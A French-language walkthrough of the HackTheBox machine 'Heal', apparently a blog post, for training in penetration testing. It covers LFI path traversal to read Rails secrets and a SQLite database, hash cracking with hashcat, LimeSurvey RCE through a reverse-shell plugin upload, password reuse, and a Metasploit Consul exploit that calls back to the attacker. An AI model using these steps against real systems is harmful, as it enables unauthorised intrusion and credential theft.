Cette box est une box Linux notée “Medium” et hébergée par HackTheBox.
Flag utilisateur #
Énumération #
Démarrage habituel avec les scans :
mkdir scans loot shares
nmap -A 10.10.11.46 -vvv -oA scans/first_scan.txt
nmap -A 10.10.11.46 -p- -oA scans/full_scan.txt
Discovered open port 80/tcp on 10.10.11.46
Discovered open port 22/tcp on 10.10.11.46
Le scan nmap renvoie également le vhost : http://heal.htb/
donc ajoutons-le à notre /etc/hosts
Reconnaissance Web #
Essayons de créer un compte :
pentester:bd1724b2f8cb07ada1f6e094d9a1b33878171f490090ae0d8826ee3c1a940309
api.heal.htb
, alors ajoutons-le aussi à notre fichier hosts
. On accède donc à cette page.
Intéressant, nous avons accès à une page « profil » qui montre que nous ne sommes pas administrateur (ce qui laisse présager que nous pourrions le devenir) :
Nous avons également un bouton d’enquête qui nous mène à un autre serveur virtuel : take-survey.heal.htb
qui semble héberger une instance de limesurvey.
- http://heal.htb/resume nous permet de créer un PDF : injection potentielle de template ou SSRF
- Le formulaire peut être lue par un administrateur et être vulnérable à XSS
L’exportateur de CV au peigne fin #
Nous pouvons voir que le générateur de CV envoie depuis le client du HTML à convertir en PDF dans le back-end :
Essayons de voir quel moteur de conversion PDF est utilisé dans le back-end :
- Wappalyzer ne donne rien sur http://api.heal.htb/export et rien qui ressemble à une bibliothèque utilisée pour les PDF sur http://heal.htb
- Mais en lançant exiftool, on obtient le logiciel utilisé pour créer le PDF :
Nous pouvons obtenir le fichier courant en utilisant <script> document.write(window.location) </script>
Essayons d’automatiser ceci, nous voyons que lorsque nous obtenons le nom d’un fichier PDF, nous faisons un appel à http://api.heal.htb/download?filename=b6ba3f34ef20afd1323d.pdf.
Par curiosité, essayons d’obtenir un autre fichier local :
Ok, on oublie bien vite la SSRF, nous avons une LFI !
Dumpons des secrets avec la LFI #
Essayons maintenant d’avoir plus d’informations sur la pile technologique du backend pour savoir dans quels fichiers taper. Essayons d’utiliser Wappalyzer sur la page d’accueil de http://api.heal.htb/ :
Bon, pas besoin de Wappalyzer, nous savons maintenant que nous avons un serveur ruby on rails
. Comme je n’ai jamais utilisé ruby on rails
, j’ai cherché la disposition générale des fichiers et j’ai trouvé qu’il y avait un gemfile
quelque part à la racine. Cela nous permettrait de nous situer dans le répertoire :
Nous pouvons obtenir le Gemfile en accédant à ../../Gemfile
donc nous sommes probablement dans quelque chose qui ressemble à myapp/uploads/
En regardant la [cheatsheet ruby on rails
] de l’OWASP (https://cheatsheetseries.owasp.org/cheatsheets/Ruby_on_Rails_Cheat_Sheet.html#sensitive-files), nous pouvons tenter d’accéder à ../../config/database.yml
# SQLite. Versions 3.8.0 and up are supported.
# gem install sqlite3
#
# Ensure the SQLite 3 gem is defined in your Gemfile
# gem "sqlite3"
#
default: &default
adapter: sqlite3
pool: <%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
timeout: 5000
development:
<<: *default
database: storage/development.sqlite3
# Warning: The database defined as "test" will be erased and
# re-generated from your development database when you run "rake".
# Do not set this db to the same as development or production.
test:
<<: *default
database: storage/test.sqlite3
production:
<<: *default
database: storage/development.sqlite3
Armés de ces informations, essayons de récupérer la base de données sqlite avec ../../storage/development.sqlite3
:
Nous pouvons ensuite explorer cette base de données en utilisant DB browser for SQLite
:
Écrivons ensuite ce hash dans un fichier et lançons hashcat
dessus :
hashcat loot/hash_ralph -m 3200 /usr/share/wordlists/rockyou.txt
Je s’appelle admin #
Ce mot de passe n’est malheureusement pas réutilisé pour SSH (ça aurait été sympa, dommage). Connectons-nous donc en tant que Ralph sur le site et voyons à quoi l’administrateur a accès. Nous nous connectons et surprise : rien de nouveau.
J’ai essayé de faire u fuzzing au cas où de nouveaux répertoires soient accessible avec notre compte actuel et n’ai rien trouvé non plus.
Voyons donc si le formulaire peut être utile maintenant que nous avons accès à un compte administrateur.
En regardant la documentation, nous pouvons essayer de nous connecter sur http://take-survey.heal.htb/admin et nous voila dans la place !
On a immédiatement toutes les informations donc on pourrait réver :
RCE dans Limesurvey #
Voyons maintenant s’il y a des exploits RCE connus dans limesurvey, si ce n’est pas le cas nous devrons probablement bricoler avec les thèmes ou les plugins.
Il semble que la version 6.6.4 soit notoirement connue pour sa vulnérabilité RCE
En suivant les détails dans le dépôt git :
git clone https://github.com/N4s1rl1/Limesurvey-6.6.4-RCE.git
cd Limesurvey-6.6.4-RCE
vim revshell.php # Put the right IP + Port
zip -r N4s1rl1.zip config.xml revshell.php # In a real world scenario we would of course rename this to somehting less fishy
# Create a venv for this tool
uv venv --python 3.13
source .venv/bin/activate
uv pip install -r requirements.txt
J’ai ensuite téléversé le fichier zip sur http://take-survey.heal.htb/index.php/admin/pluginmanager/sa/index
Et j’ai lancé l’outil :
Privesc #
Cherchons des choses intéressantes sur la machine. Nous pouvons constater que le port postgressql est également ouvert et que limesurvey utilise postgressql avec le mot de passe suivant :
# Content of /var/www/limesurvey/application/config/config.php
'db' => array(
'connectionString' => 'pgsql:host=localhost;port=5432;user=db_user;password=AdmiDi0_pA$$w0rd;dbname=survey;',
'emulatePrepare' => true,
'username' => 'db_user',
'password' => 'AdmiDi0_pA$$w0rd',
'charset' => 'utf8',
'tablePrefix' => 'lime_',
),
J’ai ensuite essayé de me connecter à l’instance postgress mais je n’y suis pas parvenu, j’ai donc pensé que ce mot de passe pouvait être réutilisé ailleurs :
En regardant le fichier passwd
, nous pouvons voir que ralph
et ron
sont tous deux des utilisateurs auxquels on peut se connecter, alors essayons-les :
Premier flag !
Root flag #
Nous pouvons maintenant nous connecter via SSH, ce qui signifie que nous aurons un meilleur accès en utilisant SSH + la possibilité de transférer certains ports pour y accéder depuis notre machine d’attaque :
Énumération des ports #
Vérifions localement les ports avant de faire une redirection de port :
- le port
3000
semble être le site web principal de heal.htb - le port
3001
renvoie une réponse HTTP vide - le port
8600
renvoie une réponse vide - Le port
8500
renvoie la réponse suivante :
Accédons à l’URL redirigée :
Redirigeons donc le port vers notre machine locale afin de pouvoir y utiliser nos outils (comme Burp, etc.) :
ssh -L 1337:localhost:8500 ron@heal.htb
Cela ressemble à une instance de consul
et en regardant les processus, nous pouvons voir qu’elle s’exécute en tant que root :
Getting an RCE from Consul #
Une petite recherche sur les RCE dans consul
et hop :
sudo msfconsole -q
set rhosts 127.0.0.1
set rport 1337
set lhost tun0
run
In !